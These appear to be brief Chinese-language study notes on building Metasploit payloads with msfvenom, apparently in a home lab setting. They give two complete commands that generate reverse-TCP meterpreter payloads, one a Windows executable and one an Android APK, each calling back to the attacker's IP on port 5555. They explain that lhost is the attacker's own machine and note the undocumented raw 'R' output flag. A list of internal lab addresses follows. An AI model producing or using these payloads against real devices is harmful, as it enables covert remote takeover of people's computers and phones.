Windows 系统被控端

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.23.139 lport=5555 -f exe -o /root/payload.exe

使用 meterpreter 控制安卓手机

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.3.14 lport=5555 R>/root/a.apk

lhost：自己电脑的 IP 地址，不是手机的

关于输出的格式问题，在 msfvenom 命令中默认并没有 apk 这种可以直接在 Android 操作系统执行的文件格式，但是前面的 android/meterperter/reverse tcp 却表明这是一个可以在 Android 下运行的 payload，我们可以采用之前的一个保持文件原始格式的参数“R" (这个参数也没有在 msfvenom 的帮助中出现)，使用这个参数就无需再使用**-f** 指定输出格式，也无需使用**-0** 来指定输出位置。

内网：

windows:192.168.3.2

192.168.3.*

kali linux:192.168.3.115